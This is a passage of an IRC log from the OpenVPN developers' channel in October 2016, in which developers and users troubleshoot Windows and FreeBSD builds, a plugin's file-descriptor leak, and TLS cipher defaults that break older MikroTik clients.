ServerMode/#openvpn-devel [+ooo cron2 plaisthos dazo] by rajaniemi.freenode.net --- Day changed Sat Oct 22 2016 00:53 < ordex> is timespec allowed in openvpn ? :D how is this going to work on windows ? 00:56 < ordex> :( 00:56 < ordex> same for stat()I guess 00:59 < ordex> or maybe it works.. 00:59 * ordex is confused about windows 01:05 < ordex> will try in a vm 01:08 < ordex> ah there is a build system for that :) you guys made my life easier :P 01:38 < ordex> do you have any easy way to tell openvpn-build to use a git-repo / local folder instead of downloading the openvpn sourcecode tarball ? 01:39 < ordex> right now I am using curl with file:// 01:39 < ordex> but does not sound like the best way to go :) 01:57 <@mattock> ordex: I think that if openvpn-build finds a matching tarball under "sources/" then it does not download anything 01:57 <@mattock> not 100% sure 02:13 < ordex> mattock: oh ok 02:13 < ordex> will check 02:32 < ordex> mh but it looks like the cross-compiler prefix is hardcoded here and there: --cross-compile-prefix=i686-w64-mingw32 02:32 < ordex> but I am using x86_64-w64-mingw32 ..mhhh 02:32 < ordex> maybe I just need a new cross compiler 03:23 < ordex> ../generic/build: line 284: cd: /home/ordex/exp/openvpn-build/windows-nsis/tmp/build-i686/openvpn-2.3_git: No such file or directory 03:23 < ordex> mh 03:28 < ordex> I think this is something you were discussing these days .. 04:29 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 05:44 < slypknot> ordex: it is easy to customise the build system generic/build.vars, use git_master.tar.gz (any name you like so long as it exists) 05:56 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:56 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:16 < ordex> slypknot: yeah, done that 06:24 < ordex> thanks 06:33 < slypknot> when you build git master you need to autoreconf -ivf before you tar or edit the build script 06:42 < ordex> yap 06:42 < ordex> actually I am creating a tarball out of my already built master :D so yeah, everything is there already (by accident :P) 06:42 < ordex> thanks 06:43 * ordex is fighting with nsis now 06:47 < slypknot> it is easier to do windows-nsis/build-snapshot 06:48 < ordex> mh 06:48 < ordex> interesting 06:49 < ordex> slypknot: any way to avoid recompiling openssl and everything else every time ? 06:49 < ordex> but just recompile openvpn and then do the packaging 06:53 < slypknot> possibly, by editing generic/build .. disable build_deps .. but I have not tried that myself .. so your on your own there (perhaps mattock knows better) 06:53 < slypknot> if the deps are all built already, I can see no reason why you must do it again 07:03 < ordex> yap 07:18 < ordex> mh with build-snapshot I get FATAL: sources is unclean. 07:18 < ordex> I have to dig more I think 07:23 < ordex> let's clean sources then 07:23 < ordex> :) 07:23 < ordex> I think I had another file downloaded by accident before 07:47 < slypknot> sources unclean means there are more than 7 files in src 07:48 < slypknot> i mean 6 files in sources 07:53 < ordex> yap 07:54 < ordex> I am downloading 2 openvpn packages 07:57 < ordex> probably my hack to force the use of curl is breaking something else 08:01 < ordex> mh it looks for a number after openvpn- 08:06 < ordex> ah now he is happy 08:06 < ordex> :) 09:26 < ordex> mh now I get errors when it tries feed x86_64cpuid.s to gcc 09:26 < ordex> maybe my cross compiler is missing some 64bit capabilities .. 10:06 < slypknot> is it my internet or does everybody only get ~300KiB/s using github.com ? 15:02 < SviMik> the worst bug is 15:02 < SviMik> when openvpn crashed after 20h of running on high load server 15:03 < SviMik> and I'm not sure is it because of updating no newer version, because of my patch, or because of my plugin... 15:11 < Thermi> SviMik: No stacktrace and coredump? 15:12 < SviMik> wasn't configured... 15:12 < Thermi> Aha. Now it is? 15:12 * SviMik installing abrtd in case if it was a segfault 15:13 * SviMik also started openvpn in screen, instead of daemon mode, in case if it was some clear exit() 15:22 < SviMik> 67 users connected. 70 mbit of traffic. 16kpps. have to be really well hidden bug to stay 20h like that... 15:33 <@cron2> if openvpn is killing itself, it normally logs the reason clearly 15:33 < SviMik> I have disabled logs on production servers 15:50 <@cron2> don't :) unless you go over --verb 4, logging is not very resource consuming 15:50 <@cron2> and it helps a lot figuring out why funny stuff happens... 15:50 < SviMik> it is disk space consuming 15:50 < SviMik> also a security question 15:50 < SviMik> if I don't want to log CNs and IPs 15:51 <@cron2> in that case, no logging... (diskspace is much less of an argument on a non-embedded system) 15:52 < SviMik> unless there is --verb level which doesn't log all of above 15:56 < SviMik> I guess I did something wrong in my async client-connect script http://svimik.com/hdms40htop1.png 15:56 < SviMik> totally... wrong... http://svimik.com/hdms40htop2.png 15:59 < SviMik> when I try to restart a server with 200+ clients it's like a ddos 16:02 < Thermi> Lol 16:02 < Thermi> :D 16:03 < SviMik> all 200 users are trying to reconnect. at once. 16:06 < SviMik> solution to restart this server properly: 1) Stop openvpn 2) Wait 10min. Most users will swith to another server that works. 3) Now you can start the server. 16:56 < SviMik> when openvpn forks to run execve() it double the used RAM, right? 16:57 < SviMik> so if normally ovpn takes 27MB on my server, then during script execution it's 27 + 27 + the script itself 17:01 < SviMik> that's lame. I can't believe there is no economical way to run a process in linux without forking the large parent process... 17:12 * SviMik starts to hate all this forking and scripting... 17:14 < SviMik> the only reason why I don't put everything in plugin - high risk to crash the openvpn. the external scripts are safer. but the performance is... I don't like. 17:31 < SviMik> "27 + 27 + the script itself" - OK, I'm wrong. the fork() doesn't actually copy all the process image thanks to the copy-on-write technique [1] http://unix.stackexchange.com/questions/136637/why-do-we-need-to-fork-to-create-new-processes 17:31 <@vpnHelper> Title: process - Why do we need to fork to create new processes? - Unix & Linux Stack Exchange (at unix.stackexchange.com) 18:51 < SviMik> /* DDoS protection */ 18:51 < SviMik> if(plugin->thread_count >= MAX_THREADS){ 18:51 < SviMik> ovpn_msg("ERROR: TOO MANY THREADS (%i/%i)", plugin->thread_count, MAX_THREADS); 18:51 < SviMik> return OPENVPN_PLUGIN_FUNC_ERROR; /* Sorry user, come back later */ 18:51 < SviMik> } 19:56 < slypknot> no logs = no idea 19:58 < SviMik> I just found that if I overwrite plugin.so while ovpn is working - it may segfault. idk if it's just coincidence or not 20:03 < slypknot> SviMik: square peg ? 20:04 < SviMik> slypknot what do you mean? if it is expected behavior - just say so 20:04 < slypknot> "if i oberwrite" 20:05 < slypknot> not normally expectd 20:07 < slypknot> .. 20:07 < slypknot> . 20:08 < slypknot> < 20:09 < slypknot> / 20:09 < slypknot> // 20:10 < slypknot> https://youtu.be/vs5vHRn1zDU 20:18 * SviMik just learned a new English idiom 20:18 * SviMik is not native English speaker, btw 20:22 < slypknot> SviMik: is messing with the source code# 20:23 < slypknot> break it and report a bug 20:24 < SviMik> I'm writing a plugin. Should I report a bug to myself? 20:25 < slypknot> uroburus 20:25 < SviMik> :) 20:27 < slypknot> if you got a bug by the balls then bustit wide open 20:28 < SviMik> ouroboros is when a openvpn's plugin connects to self management interface through a tcp socket to perform some operation 20:28 < slypknot> these people do know their shit 20:29 < slypknot> its like when you fuck youself cos you git it wrong ......... 20:30 < slypknot> i been here for 6 years and these giys still teach me shit i didnt even know 20:32 < slypknot> these guys know some 20:33 < slypknot> be patient 20:33 < slypknot> figure out what it is you want to focus on 20:34 < slypknot> and then Go For IT 20:36 < slypknot> SviMik: 20:37 < slypknot> openvpn is FREE to all 20:37 < slypknot> big stuff 22:37 < ordex> you scared him :P --- Day changed Sun Oct 23 2016 04:34 < ValdikSS> Oh snap, you guys already has alpha2 and I still didn't finish my import code. 07:17 < SviMik> I was asleep when neighbour's dog started barking. 07:17 < SviMik> first I thought the Dog has some logging problem. 07:17 < SviMik> then I started to dig, why the Dog() is created, but not destroyed. 07:17 < SviMik> I have found the Dog() definition in header file, but couldn't find the implementation. 07:17 < SviMik> then I woke up. 07:33 < ordex> :D 07:34 < ordex> thought about drinking a good beer? ;) 07:34 < ordex> although might be early for you 07:41 <@cron2> SviMik: hehe :-) - anyway, regarding your question on memory usage 07:41 <@cron2> fork() will use twice as much *virtual* memory, but not real memory since all pages are shared (copy-on-write), so it's not as bad 07:42 <@cron2> effective memory usage will be "openvpn + <thing after exec>", so maybe you shouldn't start a firefox instance as --client-connect script :) 07:43 < SviMik> yeah, I found this already. so ok, fork is fine then. it seems my client-connect script eats all the memory 07:44 < SviMik> so I made a queue, which keeps max 8 client-connect scripts running simultaneously 07:46 < SviMik> now it's safe to restart server and accept 200 clients back. 08:09 <@plaisthos> also you can tell clients to go the next server on serer stop 08:10 <@plaisthos> see explicit-exit-notify in master's pmanpage 08:15 < SviMik> plaisthos user may need the exact server for some reason. for example, he may have port forwarding there, and expects to see his service on a certain IP 08:21 < SviMik> so our default config template is one server per one config 08:21 < SviMik> user may edit configs and put multiple servers in one if he needs. then client will try next server on fail 08:31 < SviMik> plaisthos but thanks, never thought of explicit-exit-notify on server side. that can be useful. 20:35 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 20:36 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 20:36 -!- mode/#openvpn-devel [+o mattock] by ChanServ 21:11 < slypknot> https://forums.openvpn.net/viewtopic.php?f=24&t=22322#p65185 21:11 <@vpnHelper> Title: Openvpn Appliance install - OpenVPN Support Forum (at forums.openvpn.net) 22:50 < danhunsaker> slypknot: That's an Access Server thread... --- Day changed Mon Oct 24 2016 01:30 < ValdikSS> OpenVPN is filtered in Turkmenistan. 2.3/2.4 doesn't work, but OpenVPN Connect (3) works. 01:44 < danhunsaker> ValdikSS: There are modes you can use to defeat that, if you like. 01:45 < ValdikSS> danhunsaker: like what? 01:45 < danhunsaker> !obfs 01:45 < danhunsaker> (in the main channel) 01:45 < danhunsaker> (that is, #openvpn) 01:46 < ValdikSS> danhunsaker: ah, you mean that. I know. 01:46 < danhunsaker> Good to know v3 works despite that. 01:47 < ValdikSS> danhunsaker: It's just interesting that OpenVPN v3 somehow works. 01:47 < ValdikSS> danhunsaker: And it required to use certificates with "short" subject which easyrsa3 generates. 01:49 < danhunsaker> I couldn't tell you. I'm not in the code... 03:05 <@cron2> why does v3 work? it should be protocol compatible, so "no difference in the packets" 03:06 <@cron2> mattock: if you want to have a meeting today, please do :-) - but I will not able to join (on my way to Madrid). Next week might work out though I might not make 8 pm sharp 03:14 < danhunsaker> Unless there's a configuration difference... 03:16 <@mattock> cron2: I don't have a particular need for a meeting, now that openvpn-2.4_alpha2 is out 03:17 <@mattock> once I've publishes 2.4_alpha2 in apt repos the release is done on my part 03:34 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:35 < ValdikSS> cron2: I dunno, would investigate today. 06:00 <@plaisthos> maybe just a bit different packets 06:00 <@plaisthos> differrent enough for the stupid IDS but protocol compatible 06:01 < danhunsaker> plaisthos: Ugh. Because a VPN connection is an "intrusion". (Stupid idiot governments.) 06:23 <@plaisthos> danhunsaker: I was refering to 3.x works but 2.x not 06:59 < ValdikSS> plaisthos: difference could be even in packet fragmentation or flags. 07:02 <@plaisthos> ValdikSS: entirely possible 07:03 <@plaisthos> with older openvpn versions, we use < 500ish bytes control packets for example 07:04 < ValdikSS> plaisthos: oh yeah, completely forgot about that 07:11 < danhunsaker> plaisthos: Right. Just commenting that a configuration difference would be the most obvious explanation. The least likely, perhaps, but as we never got confirmation either way... Still a possibility. 07:12 < danhunsaker> Unless you meant my response to "the stupid IDS"... In which case, I was bemoaning the use of an IDS for its SPI abilities, rather than actually detecting intrusions. 07:13 <@plaisthos> danhunsaker: read IDS as DPI in that context 07:13 <@plaisthos> smart enough to check existing 2.x packet w/o really understanding the protocl 07:13 <@plaisthos> so small enough changes (i.e. 3.x) are enough to break its detection 07:14 < danhunsaker> Yeah. Guess I just wouldn't be surprised if a full IDS was in use for implementing such a national firewall. 07:14 < danhunsaker> Or even an IPS.... 07:42 < ValdikSS> danhunsaker: DPI systems are pretty common in CIS countries. Here in Russia some ISPs have what I call "Full" DPI systems. They block access to websites even if you use HTTP proxy on any host and port. 07:42 < ValdikSS> danhunsaker: they detect HTTP traffic and block based on Host HTTP field and URI. 07:47 < danhunsaker> Right. And I get that Stateful/Deep Packet Inspection is in use. I just wish Intrusion Detection/Prevention Systems weren't misused to do it. They're meant to prevent attacks on your systems, not to block certain types of traffic. Regular SPI/DPI is plenty for that. 10:20 < SviMik> I have found the crash cause 10:20 < SviMik> Mon Oct 24 11:56:00 2016 Could not create temporary file '/dev/shm/openvpn_tmp/openvpn_pf_1ec84287982d092e6162182a62769ee3.tmp': Too many open files 10:20 < SviMik> Mon Oct 24 11:56:00 2016 Exiting due to fatal error 10:21 < SviMik> Now the most interesting part! 10:21 < SviMik> In linux, "open files" may be: files, sockets, pipes, whatever... 10:22 < ordex> I did not realize I jumped out of the channel :O 10:23 <@plaisthos> SviMik: try lsof 10:24 <@plaisthos> that should give you a list of open file descriptors 10:28 < SviMik> 824 total. 95 TCP, and 703 - pipe 10:29 < SviMik> I guess I know what went wrong... 10:31 < SviMik> I have added pipe() and dup2() to capture the execve() output when executing external scripts 10:31 < SviMik> if works fine, but seems I have forgot to close something... 11:02 < SviMik> is it possible to check fo left descriptors on program exit? 11:02 < SviMik> valgrind doesn't show that (at least, by default) 11:12 < SviMik> --track-fds=yes 11:13 < slypknot> does anybody know the name of the port or package for lzo2-devel on freebsd ? 12:00 <@d12fk> i think this unit test thingie doesn't handle core dumps: 12:00 <@d12fk> [==========] Running 7 test(s). 12:00 <@d12fk> [ RUN ] argv_printf__multiple_spaces_in_format__parsed_as_one 12:00 <@d12fk> [ OK ] argv_printf__multiple_spaces_in_format__parsed_as_one 12:00 <@d12fk> [ RUN ] argv_printf_cat__multiple_spaces_in_format__parsed_as_one 12:00 <@d12fk> [ OK ] argv_printf_cat__multiple_spaces_in_format__parsed_as_one 12:00 <@d12fk> [ RUN ] argv_printf__combined_path_with_spaces__argc_correct 12:00 <@d12fk> [ OK ] argv_printf__combined_path_with_spaces__argc_correct 12:01 <@d12fk> [ RUN ] argv_printf__script_command__argc_correct 12:01 <@d12fk> PASS: argv_testdriver 12:01 <@d12fk> ============= 12:01 <@d12fk> 1 test passed 12:01 <@d12fk> ============= 12:01 <@d12fk> *NOT* 13:10 < SviMik> <plaisthos> also you can tell clients to go the next server on serer stop 13:10 < SviMik> <plaisthos> see explicit-exit-notify in master's pmanpage 13:10 < SviMik> Options error: --explicit-exit-notify cannot be used with --mode server 13:11 < SviMik> either I understood it wrong, or plaisthos suggested something wrong :) 16:16 < slypknot> with --tcp-server is there any more info available regarding this message: IP packet with unknown IP version=15 seen 16:16 < slypknot> sorry wrong channel 16:17 <@dazo> slypknot: sounds like --compression or some other mismatch on the config options ... which means the packets are read with the wrong offset 16:18 < slypknot> dazo: Thanks .. I will have to insist we get the client config ;) 16:19 <@dazo> yeah :) 17:32 <@vpnHelper> RSS Update - tickets: #753: OpenVPN should update systemd-resolved on systems running it <https://community.openvpn.net/openvpn/ticket/753> 18:03 <@dazo> that is an interesting ticket 18:03 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] 18:04 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:22 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Ping timeout: 245 seconds] 18:49 -!- Netsplit *.net <-> *.split quits: @dazo 18:49 -!- Netsplit over, joins: @dazo 18:49 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Quit: Ciao] 18:50 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 18:50 -!- mode/#openvpn-devel [+o dazo] by ChanServ 18:51 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Client Quit] 18:52 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 18:52 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Tue Oct 25 2016 01:55 < ordex> syzzer: do you need more input or is there something else to discuss before posting the patches to the ml ? 02:46 <@syzzer> ordex: I have some review comments I'll send you shortly :) 02:46 <@syzzer> but I think we're almost good to go 02:47 < ordex> cool :) 04:38 <@plaisthos> I wish there was a bot I could tell, "if xy joins again tell him stuff" 06:07 < ValdikSS> Can anybody link me openvpn v3? Can't find the source. 06:09 < ValdikSS> found it, https://staging.openvpn.net/openvpn3/ 06:09 <@vpnHelper> Title: OpenVPN 3 (at staging.openvpn.net) 06:14 <@mattock> valdikss: try GitHub 06:14 <@mattock> that is an old copy 06:15 <@mattock> https://github.com/OpenVPN/openvpn3 06:15 <@vpnHelper> Title: GitHub - OpenVPN/openvpn3 (at github.com) 06:20 < ValdikSS> mattock: thanks 06:40 <@mattock> I re-enabled wiki edits for authenticated users 06:40 <@mattock> we now have urlwatch-based monitoring of all wiki modifications, and the spamfilter is properly configured 06:51 < slypknot> mattock: and I just posyed this (maybe I should remove it?): https://forums.openvpn.net/viewtopic.php?f=30&t=22680 06:51 <@vpnHelper> Title: Requesting Edit permission for the Wiki - OpenVPN Support Forum (at forums.openvpn.net) 06:53 < ordex> syzzer: thanks for the mail ! 07:14 <@mattock> slypknot: yeah, you might want to do that 07:24 < slypknot> done 07:35 < slypknot> how do i tell ./configure how to find /usr/local/include/lzo/lzoutil.h ? 07:35 < slypknot> freebsd 07:36 < slypknot> bash 08:03 < slypknot> I am using: $ LZO_LIBS=/usr/local/lib LZO_CFLAGS=/usr/local/include ./configure 08:04 < slypknot> LZO_LIBS works and finds liblzo2.* but LZO_CFLAGS does not find lzo/lzoutil.h .. which is in /usr/local/include/lzo 08:06 < slypknot> reading ./configure.ac i see that : 08:06 < slypknot> CFLAGS="${CFLAGS} ${LZO_CFLAGS}" 08:06 < slypknot> AC_CHECK_HEADERS( 08:06 < slypknot> [lzo/lzoutil.h], 08:06 <@dazo> slypknot: try adding LZO_LIBS _after_ ./configur 08:07 <@plaisthos> add add -I 08:07 < slypknot> dazo: LZO_LIBS works but not LZO_CFLAGS 08:07 <@plaisthos> slypknot: for flags you need -I additionally 08:07 <@dazo> (that also have the advantage of saving the variable when autotools decidesto re-run ./configure) 08:07 < slypknot> ahh .. LZO_CFLAGS=-I/usr/local/lib/ 08:07 <@plaisthos> for os x you would use: 08:07 <@plaisthos> ./configure CC=clang CFLAGS=-g LZO_CFLAGS=-I/usr/local/include LZO_LIBS='-llzo2 -L/usr/local/lib' OPENSSL_CFLAGS=-I/usr/local/Cellar/openssl/1.0.2j/include/ OPENSSL_LIBS='-L/usr/local/Cellar/openssl/1.0.2j/lib/ -lcrypto -lssl' 08:08 < slypknot> sorted thank you :) 08:10 < slypknot> ahh .. LZO_CFLAGS=-I/usr/local/lib/ .. -I/usr/local/include/ 08:11 < slypknot> infact the trailing / does not appear to be required either .. so some magic under the hood i guess 08:14 < slypknot> ach! something goes wrong making crypto.c .. this is too complicated for me 08:14 <@plaisthos> something? 08:14 < slypknot> crypto.c:806:7: error: invalid application of 'sizeof' to an incomplete type 'cipher_ctx_t' (aka 'struct evp_cipher_ctx_st') 08:15 < slypknot> ALLOC_OBJ(ctx->cipher, cipher_ctx_t); 08:16 < ordex> I guess you have the declaration but not the definition of this struct ? 08:16 < ordex> (maybe) 08:16 < slypknot> there are actually two errors, that one and this one: 08:16 < slypknot> crypto.c:829:7: error: invalid application of 'sizeof' to an incomplete type 'hmac_ctx_t' (aka 'struct hmac_ctx_st') 08:16 < slypknot> ALLOC_OBJ(ctx->hmac, hmac_ctx_t); 08:16 < slypknot> ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 08:17 < slypknot> ./buffer.h:857:50: note: expanded from macro 'ALLOC_OBJ' 08:17 <@dazo> that's really odd 08:18 < slypknot> is it maybe a dependancy .. malloc ? 08:18 * slypknot is stabbing wildly in the dark with that ! 08:19 <@dazo> hmac_ctx_t is defined in crypto_mbedtls.h and crypto_openssl.h ... which one being defined should be openssl by default, otherwise what --with-crypto-library= 08:19 < slypknot> openssl for now 08:20 <@dazo> right ... so for some reason, crypto_openssl.h isn't used 08:20 <@dazo> slypknot: can you ensure you have ENABLE_CRYPTO_OPENSSL set in config.h? 08:20 < slypknot> INSTALL: --disable-ssl disable SSL support for TLS-based key exchange 08:21 < slypknot> [default=yes] 08:21 < slypknot> default to disable ? 08:21 <@dazo> heh ... that's just a misleading text ... it means it is enabled by default 08:22 < slypknot> lol // confused dot com 08:22 <@dazo> well, it is poorly written :) 08:23 < slypknot> config.h: /* Use OpenSSL library */ 08:23 < slypknot> #define ENABLE_CRYPTO_OPENSSL 1 08:23 <@dazo> okay ... this truly makes it more odd 08:23 <@dazo> can you pastebin config.log? 08:24 < slypknot> sure .. hold on 08:30 <@dazo> slypknot: also, if you can provide the full compile line when crypto.c is built .... take 5-8 lines before the error you provided 08:30 <@dazo> (use pastebin for that too) 08:35 <@vpnHelper> RSS Update - tickets: #754: HTTPS certificate missing intermediate/chain certificate <https://community.openvpn.net/openvpn/ticket/754> 08:45 < slypknot> sorry for the dealy .. here: https://0paste.com/9415 08:46 <@dazo> slypknot: which openssl version do you use? 08:48 < slypknot> openssl-devel-1.1.0b 08:48 < slypknot> dang it ! 08:48 <@dazo> slypknot: I believe that's too new 08:48 < slypknot> yup :) 08:48 < slypknot> as soon as i looked i knew 08:49 <@dazo> :) 09:03 < SviMik> >(testing memoserv so I have no idea what will happens) For the explicit-notify on server side you need 2.4 09:03 < SviMik> plaisthos got it :) 09:05 < SviMik> not going to install alpha on production servers anyway. will wait till release. 09:09 <@plaisthos> :) 09:27 < slypknot> Done: 09:27 < slypknot> OpenVPN 2.4_alpha2 [git:master/f3145272584ac60e] amd64-unknown-freebsd11.0 [SSL (OpenSSL)] [LZO] [LZ4] [MH/RECVDA] [IPv6] built on Oct 25 2016 09:27 < slypknot> library versions: OpenSSL 1.0.2j-freebsd 26 Sep 2016, LZO 2.09 09:28 < slypknot> openssl-devel is not an extra requirement for freebsd as openssl has the files needed 09:39 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 09:39 -!- mode/#openvpn-devel [+o cron2] by ChanServ 09:39 <@cron2> SviMik: your server code too old? 09:40 <@cron2> (--explicit-exit-notify for --server is a 2.4 feature) 09:40 < SviMik> cron2 recently updated to 2.3.12 09:43 <@plaisthos> yeah 2.3 is so old by now that I think almost none of the developers actually runs 2.3 prodcution anymore and have switch to master 09:43 < SviMik> 2.3.12-- released on 2016.08.23 09:44 < SviMik> you call it "old"? 09:44 <@plaisthos> SviMik: old in the sense of features 09:44 <@plaisthos> SviMik: 2.4 and 2.3 were branch in 2013 09:45 <@plaisthos> so 2.4 has 3 years of new features that do not exist in 2.3 09:45 <@plaisthos> 2.3 feels really old :p 09:46 < SviMik> well, there is no 2.4 release on the website for whatever reason. 09:46 < SviMik> that makes me doubt. 09:48 <@plaisthos> SviMik: yeah, we just published 2.4alpha2 I think 09:50 < SviMik> I wasn't following the dev process for a two or three years, so not sure what happened and what the current state is... 09:51 < SviMik> when our devs call something "alpha", that means I can crash it with two or three clicks :) 09:52 < SviMik> I'm not sure what the openvpn "alpha" means, but usually "alpha" is not for production unless you are developer 09:53 <@syzzer> in this case alpha means "no promises whatsoever, but it actually is pretty decent" 09:54 < SviMik> syzzer is it 100% compatible with old clients having old configs? 09:56 <@syzzer> SviMik: no. Some behaviour changes (see https://github.com/OpenVPN/openvpn/blob/master/Changes.rst) 09:56 <@vpnHelper> Title: openvpn/Changes.rst at master · OpenVPN/openvpn · GitHub (at github.com) 09:57 < SviMik> thx 09:58 <@plaisthos> I would not say 100% but I would say 98% with a few very special cases that might need a bit of treatment 09:58 <@syzzer> yeah, that. most poeple won't notice anything. 10:09 <@cron2> SviMik: 2.3 is "the still-maintained and bugfixed stable branch", while everything that is considered "intrusive and large code changes" went into 2.4-to-be 10:09 <@cron2> syzzer: I think 2.3 clients talking to 2.4 servers should not see a difference compared to 2.3.12 servers 10:11 < SviMik> what about mikrotik routers? will connect to 2.4 server? 10:12 <@cron2> you need to test - 2.4 is more strict regarding TLS ciphers allowed by default 10:13 <@syzzer> cron2: there's stuff like stricter crypto defaults, or no longer supporting freeform tls auth keys that might break configs 10:13 <@syzzer> SviMik: mikrotik routers had some troubles with the stricter TLS cipher settings indeed 10:14 <@syzzer> though I recall they accepted that as a bug and released a new firmware 10:18 < SviMik> I'm too lazy to test all this shit right now... -_- 10:22 < ordex> but, when a buffer is allocated via a gc object, does it need to be freed or not ? 10:22 < ordex> I am a bit puzzled.. 10:23 <@syzzer> the gc needs to be free()d 10:23 <@syzzer> well, gc_free()'d 10:23 < ordex> yeah 10:23 < ordex> that will release all the gc_malloc'd objects I guess 10:23 < ordex> mh 10:23 < ordex> ok 10:26 < SviMik> >If peer's ip/port has changed, server assumes that client has floated, verifies HMAC and updates ip/port in internal structs. 10:26 < SviMik> awesome feature, though external scripts should be aware of that. may break some session tracking setups, like mine... 10:27 < ordex> syzzer: so, the goal of a gc object is just to keep track of all the objects that were allocated so that they can all be released in one go ? 10:27 < ordex> there no "re-use" strategy, right ? 10:27 < ordex> *there is no 10:29 <@syzzer> ordex: indeed 10:29 < ordex> thanks for the clarification :) I was deep into buffer.c :D now I can get out ! 10:30 < SviMik> >sndbuf and recvbuf default now to OS default instead of 64k 10:30 < SviMik> I have seen 8K buffers on Windows XP using 2.3.10. how's that possible? 10:33 < SviMik> Socket Buffers: R=[8192->8192] S=[8192->8192] 10:33 < SviMik> that's epic performance fail. had to specify sndbuf and rcvbuf in config explicitly. 10:33 <@syzzer> SviMik: that particular patch was backported to 2.3.9 10:34 < SviMik> ah, then I see 10:34 < SviMik> then, you may want to know, that on XP you made only worse... 10:34 <@syzzer> and yes, that's too bad for XP, but better for the other versions - you guess which we care for most ;) 10:35 < SviMik> you could check the buffer to set 64K if it's lower, and do nothing (use OS defaults) if it's higher 10:35 <@syzzer> in 2.4+ we dropped support or XP alltogether 10:37 < SviMik> ouch... not upgrading the client software then... cause we care about XP too 10:37 <@syzzer> (oh, this actually didn't change windows at all - I should not speak up for network stuff :p ) 10:37 < SviMik> 12% of our clients use XP 10:38 <@syzzer> that's why 2.3.x will be around for some time 10:43 < SviMik> >All tun devices on all platforms are always considered to be IPv6 capable. 10:43 < SviMik> what that means? what will happen if it's not? (how can this happen? old tap adapter driver?) 10:43 <@cron2> it can not happen 10:44 <@cron2> unless you try run this on a 2.2.x linux kernel 10:44 < SviMik> and on windows?... like never can happen? 10:45 < SviMik> or old driver can make a problem? 10:45 < SviMik> cron2 what happens if I try 2.2.x linux kernel? 10:47 < SviMik> I believe there are some old routers or tv boxes that do have old kernel and which is difficult to upgrade 10:47 < SviMik> what happens then? 10:47 <@cron2> SviMik: if you encounter such a system, find the nearest trashcan and bury it 10:47 <@cron2> seriously: don't run OpenVPN 2.4 on it - 2.3.x will be supported for a while to come, so use that 10:48 <@cron2> same for XP 10:48 <@cron2> keep your old, unpatched and insecure boxes as long as you want, but do not expect us to bear the maintenance cost for extra code paths that are no longer needed by anything alive 10:49 <@plaisthos> SviMik: miktek routers are broken 10:49 <@plaisthos> SviMik: but later 2.3.x version also have stronger tls defaults 10:50 <@plaisthos> SviMik: for buffer defaults, checking and then setting is dangerous as these buffers are dynamically sized on many system nowadays 10:50 < SviMik> plaisthos are you trying to say that later 2.3.x has also broken mikrotik support? 10:51 <@plaisthos> SviMik: yes 10:51 < SviMik> plaisthos can you say from which version?... 10:51 <@plaisthos> SviMik: state of the art tls-cipher default 10:52 < SviMik> I have upgraded openvpn to 2.3.12 on all 95 servers, but didn't restart yet 10:52 < SviMik> *panic* 10:52 <@plaisthos> SviMik: just add tls-cipher DEFAULT 10:52 <@plaisthos> git tag --contains 8a399cd30ae19f521794f3dfe7ef194abd440d1b 10:52 <@plaisthos> v2.3.11 10:52 <@plaisthos> v2.3.12 10:52 < ordex> syzzer: I was checking the gc, because basically if by accident the user creates a config file containing N lines with the same option, openvpn will basically store all the N lines within the options->gc, although only the last one will be really used 10:53 <@syzzer> ordex: yes, that is how it works 10:54 <@plaisthos> SviMik: what version was the old version? 10:54 < ordex> syzzer: ok. so it's a "accepted" behaviours (I admit this is the user's fault :P) 10:54 < SviMik> plaisthos 2.3.10 10:54 <@syzzer> ordex: yes, the gc is more a defensive programming feature than an optimization thing 10:54 < SviMik> plaisthos just add "tls-cipher DEFAULT" line to the server config, right? 10:55 <@syzzer> SviMik: yes, that will 'reset' to the old default 10:55 < SviMik> thanks god I haven't restarted the sevice yet 10:55 < ordex> syzzer: right, although in this case it is creating the memleak instead of preventing it :P but yeah, I got the point, thanks! 10:55 < SviMik> I'm not allowed to tell how many users we have, but you can imagine... 10:55 <@plaisthos> ordex: gc will still get recycled eventually 10:56 <@plaisthos> SviMik: 200k users for me ;P 10:56 <@plaisthos> and some of them are connecting to broken mikrotek routers 10:56 < ordex> yup 10:58 <@plaisthos> march 2015 was the change 11:02 <@plaisthos> that change also broke other configs 11:02 < SviMik> other? like what? 11:03 <@plaisthos> people settings a custom cipher list on the server 11:04 <@plaisthos> without any DH or ECDH cipher suites 11:04 < SviMik> no, I use the defaults... 11:04 <@plaisthos> new client versions refuse to connet to server that do not offer FPS ciphers 11:05 < SviMik> with "tls-cipher DEFAULT" on server will work everything, right? 11:05 <@plaisthos> yeah 11:05 < SviMik> good 11:10 < SviMik> tickets like "I have paid, it was worked, but now it doesn't" makes us really upset... cause we need to refund then. that takes time, not to mention such tickets are the most emotional... 11:10 < SviMik> and we can't answer "throw your device away" 11:12 < SviMik> also some users have remote setups - like a router in other city which was reachable through VPN only. and when VPN is down - they can't even reach the router to change something in the config 11:14 < SviMik> that's why we do care about all types of clients, no matter how old or broken it is. at least, that's what we're trying to achieve. 11:19 <@ecrist> SviMik: that's really more a service provider problem and less of an openvpn developer problem. 11:19 < SviMik> agree. 11:19 <@ecrist> that's part of the test and deploy planning 11:21 < SviMik> that's why we have to weight the need of new features and possible drawbacks before deciding to upgrade or not to upgrade 11:22 < SviMik> and not upgrading to 2.4 may be a reasonable decision if it breaks something. 11:25 < SviMik> no matter how developers like what they do - there is real life with real conditions 11:30 < 